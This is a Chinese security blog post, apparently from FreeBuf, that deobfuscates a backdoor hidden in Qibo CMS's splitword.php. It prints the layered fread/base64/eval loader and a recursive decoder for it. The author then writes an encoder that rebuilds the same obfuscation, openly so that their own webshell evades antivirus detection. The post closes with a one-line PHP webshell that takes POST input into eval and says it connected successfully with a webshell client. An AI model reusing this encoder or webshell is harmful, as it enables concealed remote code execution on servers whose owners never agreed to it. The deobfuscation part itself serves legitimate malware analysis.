l1l1llll1 php,齐博CMS splitword.php后门解密

齐博CMS是一款非常优秀的内容管理系统,但也不得不说其后门事件也层出不穷,本文就解密齐博代码来看他的后门。Y2hlbmdzaGlzLmMjd=phpinfo();

笔者找了去年某云5月爆出的远程命令执行漏洞,源码百度一下,本地测试效果。

a4a5a65a92105047c892245a698fd48b.png

用sublime打开源码,源码经过加密压缩为一行。下面我们将一步步的揭开加密代码,查看这个命令执行后门到底是怎么一回事。

c138fc7c1942ac70d1982bb82bec3785.png

找个在线php代码格式画工具快速格式化一下http://beta.phpformatter.com/。解密思路:去掉无意义的干扰的代码,合并运行时才拼凑关键字,让代码精简方便阅读。

a1a82c69ca67f9af2dd8b3628a21637d.png

去掉error_reporting(0);让其显示错误报告,解密相关base64编码。```php

$l1l1llll1l1l1lll    = __FILE__;//表示文件本身

$lll1111ll1111ll11ll = base64_decode("Zmc2c2JlaHByYTRjb190bmQ=s");

//$lll1111ll1111ll11ll = fg6sbehpra4co_tnd

$ll1ll11111l111lll1  = $lll1111ll1111ll11ll{4} .$lll1111ll1111ll11ll{9} . $lll1111ll1111ll11ll{3} . $lll1111ll1111ll11ll{5};

//echo $ll1ll11111l111lll1;

$ll1ll11111l111lll1 .=$lll1111ll1111ll11ll{2} . $lll1111ll1111ll11ll{10} . $lll1111ll1111ll11ll{13} .$lll1111ll1111ll11ll{16};

$ll1ll11111l111lll1 .=$ll1ll11111l111lll1{3} . $lll1111ll1111ll11ll{11} . $lll1111ll1111ll11ll{12} .$ll1ll11111l111lll1{7} . $lll1111ll1111ll11ll{5};

$ll1ll11lll1l1l1         = $lll1111ll1111ll11ll{0} .$lll1111ll1111ll11ll{12} . $lll1111ll1111ll11ll{7} . $lll1111ll1111ll11ll{5} .$lll1111ll1111ll11ll{15};

$ll1ll11lll1l111         = $lll1111ll1111ll11ll{0} .$lll1111ll1111ll11ll{1} . $lll1111ll1111ll11ll{5} . $lll1111ll1111ll11ll{14};

$ll1ll11lll1l111         = $ll1ll11lll1l111 .$lll1111ll1111ll11ll{3};

$ll1l111lll1l111         = $lll1111ll1111ll11ll{0} .$lll1111ll1111ll11ll{8} . $lll1111ll1111ll11ll{5} . $lll1111ll1111ll11ll{9} .$lll1111ll1111ll11ll{16};

$ll11l111lllllll11111l   = "rb";

$ll11l111lllllll11111ll1 = "exp";

$ll11l111lllllll11111ll1 .="lode";

$l1111llllllll11111l;

```

上面代码精简后$ll1ll11111l111lll1 ="base64_decode";

$ll1ll11lll1l1l1 = "fopen";

$ll1ll11lll1l111 = "fgets";

$ll1l111lll1l111 = "fread";

$ll11l111lllllll11111l   = "rb";

$ll11l111lllllll11111ll1 ="explode";

接着解密第一个evaleval($ll1ll11111l111lll1('JGwxbGxsbDExMTFsMTFsMWw9JGxsMWxsMTFsbGwxbDFsMSgkbDFsMWxsbGwxbDFsMWxsbCwkbGwxMWwxMTFsbGxsbGxsMTExMTFsKTskbGwxbDExMWxsbDFsMTExKCRsMWxsbGwxMTExbDExbDFsLDM1NzYpOyRsbGwxMTFsbDExMTFsMTExPSRsbDExbDExMWxsbGxsbGwxMTExMWxsMSgiXHQiLCRsbDFsbDExMTExbDExMWxsbDEoJGxsMWwxMTFsbGwxbDExMSgkbDFsbGxsMTExMWwxMWwxbCwzMjQpKSAgICAgICAgKTsgOzs7OzsgOzsg'));

base64解码$l1llll1111l11l1l=$ll1ll11lll1l1l1($l1l1llll1l1l1lll,$ll11l111lllllll11111l);$ll1l111lll1l111($l1llll1111l11l1l,3576);$lll111ll1111l111=$ll11l111lllllll11111ll1("\t",$ll1ll11111l111lll1($ll1l111lll1l111($l1llll1111l11l1l,324))        ); ;;;;; ;;

格式化并替换前面解出的关键字```php

$l1llll1111l11l1l=fopen(__FILE__,"rb");//打开当前文件

fread($l1llll1111l11l1l,3576);//读取1576长度bytes

$lll111ll1111l111=explode("\t",base64_decode(fread($l1llll1111l11l1l,324))        ); ;;;;; ;;//再读取324bytes进行base64解码并分割字符串

```

如果这时候你运行修改后的文件试图解密下面代码,你会发现提示找不到某某函数。这里fread函数有个特点,当第一次读取文件的时候从文件头读入,第二次读取的时候会根据上次读取的位置继续,所以3576就是php代码结尾处return;?>,其后324就是base64解码后字符串拼凑后面的关键字,这里我们只要将__FILE__改为源文件就行了。

同理解出后面代码$l1lllllll11l111l;//base64_decode

$l1ll1lll1l11ll11;//fread

$lll11l1l1ll1l11l;//fopen

$l1ll1lll11l1l11l;//strrev

我们来到第二个eval

```php

fread($l1llll1111l11l1l,19);//接着先读取其后的19 bytes

eval(base64_decode(fread($l1llll1111l11l1l,248)));//然后读取248bytes并解码

```

之后你会肯定的剧情,程序一直这样读文件,解码,读文件,解码,又读,跟进了几次过后发现这尼玛不是坑爹么,撸组经过一阵深刻沉思过后决定,肯定不能手撸啊,写程序自动跑吧。分析跟进的几次代码,发现还是有规律可循的。

//第一次解码

fread($l1llll1111l11l1l,11);

eval(base64_decode(fread($l1llll1111l11l1l,252)));

fread($l1llll1111l11l1l,16);//第二次读取文件解码

eval(base64_decode(fread($l1llll1111l11l1l,248)));//循环解码

可以看到这是个很典型的递归调用,但是在什么时候跳出递归呢,我们先假装不知道,至少在之前是的,我们写个递归函数循环解密。

要求1. 要执行一次读取

2. 正则匹配两个读取字节数

3. 将解密数据保存到文件,因为不知道什么时候循环结束```php

function loop_decode($read_str){

global$l1llll1111l11l1l;

$str= base64_decode($read_str);

preg_match_all('([a-zA-Z0-9=+/]+)',$str,$result);//匹配base64编码

file_put_contents("bs_out.txt",base64_decode($result[0][2]).PHP_EOL,FILE_APPEND);//保存解码代码到文件

sleep(0.25);

preg_match_all("(\d+(?=\)))",base64_decode($result[0][2]),$len);//匹配两个读取字节数

//var_dump($len);

echo$len[0][0]."-->".$len[0][1];

fread($l1llll1111l11l1l,$len[0][0]);

loop_decode(fread($l1llll1111l11l1l,$len[0][1]));

}

loop_decode(fread($l1llll1111l11l1l,248));

```

将上述代码修改并保存为decode.php,然后命令行下执行。

./php decode.php

运行一阵过后脚本出错,但我们要的文件已经生成。

b452ac7e05a42602200d21b465b85f63.png

可以看到101行最后代码有了变化,替换关键字后很直观的看到base64_decode(strrev(fread($l1llll1111l11l1l,11508)))fopen($l1llll1111l11l1l);

我们在这判断当字符串存在$l1ll1lll11l1l11l时就停止并保存数据为文件。```php

if(strpos($decode_str,'$l1ll1lll11l1l11l') !== false){

fread($l1llll1111l11l1l,$len[0][0]);

//exit(base64_decode(strrev(fread($l1llll1111l11l1l,11508))));

file_put_contents("bs_out.txt",base64_decode(strrev(fread($l1llll1111l11l1l,$len[0][1]))));

//fopen($l1llll1111l11l1l);

exit;

}

```

至此解密完成

3848b1091ed269fbac23972dcad39938.png

完整代码```php

$l1llll1111l11l1l=fopen("D:\share\qibo\qb.php","rb");//打开当前文件

fread($l1llll1111l11l1l,3576);//读取1576长度bytes

$lll111ll1111l111=explode("\t",base64_decode(fread($l1llll1111l11l1l,324))        ); ;;;;; ;;//再读取324bytes进行base64解码并分割字符串

$l1lllllll11l111l ="base64_decode";

$l1ll1lll1l11ll11 = "fread";

$lll11l1l1ll1l11l = "fopen";

$l1ll1lll11l1l11l = "strrev";

fread($l1llll1111l11l1l,19);//接着先读取其后的19bytes

/*

*我是循环解密函数,虽然写的有点丑,但是我还是是的。

*@$read_str 解密后第二次读取的字节数

*/

function loop_decode($read_str){

global$l1llll1111l11l1l; //全局文件句柄

preg_match_all('([a-zA-Z0-9=+/]+)',base64_decode($read_str),$result);//匹配base64编码

$decode_str= base64_decode($result[0][2]);

file_put_contents("bs_out.txt",$decode_str.PHP_EOL,FILE_APPEND);//保存解码代码到文件

sleep(0.25);

preg_match_all("(\d+(?=\)))",$decode_str,$len);//匹配两个读取字节数

//var_dump($len);

//如果解码后字符串包含$l1ll1lll11l1l11l则保存并退出

if(strpos($decode_str,'$l1ll1lll11l1l11l') !== false){

fread($l1llll1111l11l1l,$len[0][0]);

//exit(base64_decode(strrev(fread($l1llll1111l11l1l,11508))));

file_put_contents("bs_out.txt",base64_decode(strrev(fread($l1llll1111l11l1l,$len[0][1]))));

//fopen($l1llll1111l11l1l);

exit;

}

fread($l1llll1111l11l1l,$len[0][0]);

loop_decode(fread($l1llll1111l11l1l,$len[0][1]));

}

loop_decode(fread($l1llll1111l11l1l,248));

```

解密基本完成,这是个很有趣却没有卵用的混淆方式,既然都解密了,我们按思路写个加密程序吧,以后我的一句话就靠它免杀了。

通过上面的分析我们知道真正的代码数据是在11508 byte处,由于fread的特性,我们可以直接跳过读取前面无用的字节,直接跳到11508前面。下面我们将正则匹配到的每次读取的字节数进行相加,然后输出最后的内容。

efd566a8b59fcd9fe2cdf2e798439342.png

可以看到每次会有一个10字节左右只是为了移位的无用fread(),在初始化参数过后代码便开始循环的读取解码执行。3576+324+19+248+11+252+16+248+17+244+…+19+11508+data

经过分析得知,10字节的读取是没有啥用的,所以为了方便理解,我在代码中就去除了。你会发现每次后面执行的代码不一样,这是为什么呢?只解码第一次你会发现原来只是些起占位和干扰的;和空格,我反正完全不知道有啥用,不知道你知不知道,但是我也这么做了。

8e191ca124e7f9e6018e70c3c3494613.png

在解码中我们知道每次前面读取的字节数是后面字符的字节数,但是我们是知道最后加密代码的长度的,所以我们又从后面开始递归调用填充前面的字节数。结束循环后加入初始化头代码,头代码中也包含了本头的字节数,坑爹啊,不想再折腾了,于是我默认了为126字节,这样做可能会存在问题。<?php $f=fopen(__FILE__,"rb");fseek($f,126);eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKGZyZWFkKCRmLDEwMykpKTs='));return;?>

整个代码如下<?php

$data = base64_encode('echo"hello,ruo.";'); //ZWNobyAiaGVsbG8scnVvLiI7

$f =fopen("D:/test.dat","rb");

$arr = array();

$i = 101;

/*

*我是生成随机个;和空格函数,我不知道这有什么用。

*

*/

function create_randstr(){

$arr=range(2,8);

$s= "";

shuffle($arr);

$str= " ;";

$len= strlen($str)-1;

for($i=0 ;$i < $arr[0]; $i++){

$s .= $str[rand(0,$len)];

}

return $s;

}

/*

*我是加密函数

*@$datalen 第一次传入的参数是你要加密的代码的长度哦

*/

function loop_encode($datalen){

//$datalen是后一次的长度,前面的需要再计算

global$f,$i,$arr,$data;

$i--;

$be= base64_encode('eval(base64_decode(fread($f,'.$datalen.')));');

$rs= ";eval(base64_decode('".$be."'));".create_randstr();//加入随机干扰分号

$write_in= rtrim(base64_encode($rs), '=');

array_push($arr,$write_in);

if($i< 0){

$be= base64_encode('eval(base64_decode(fread($f,'.strlen(end($arr)).')));');

array_push($arr,'<?php $f=fopen(__FILE__,"rb");fseek($f,126);eval(base64_decode(\''.$be.'\'));return;?>');//写入初始化,默认前面为126字节

$arr= array_reverse($arr);//翻转数组

array_push($arr,$data);//加入数据

print_r($arr);

fwrite($f,implode("",$arr));

returnstrlen($arr[1]);

}else{

returnloop_encode(strlen($write_in));

}

}

echo loop_encode(strlen($data));

fclose($f);

?>

于是乎我写了个一句话进去,菜刀连接效果不错。@eval($_POST["ru0"]);

总结1. 解密起来起来其实很简单,多次的循环跟进到最后一步,这算不算真正的代码加密吧。

2. 原本加密程序不知道是怎么写的,应该在此基础上引入外部一个key,当key正确时才能解密出源码来。

3. 未找到传说中的../hack/upgrade/admin.php,不能横向对比。

4. 其实中途很多坑,只能怪撸主太蠢。每次会读取的10几字节不知道有没有彩蛋,目测没发现,撸主表示已经手残。

5. 初来咋到,与君共勉,不喜勿喷。

*本文作者:ruo,转载须注明来自FreeBuf(FreeBuf.COM)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值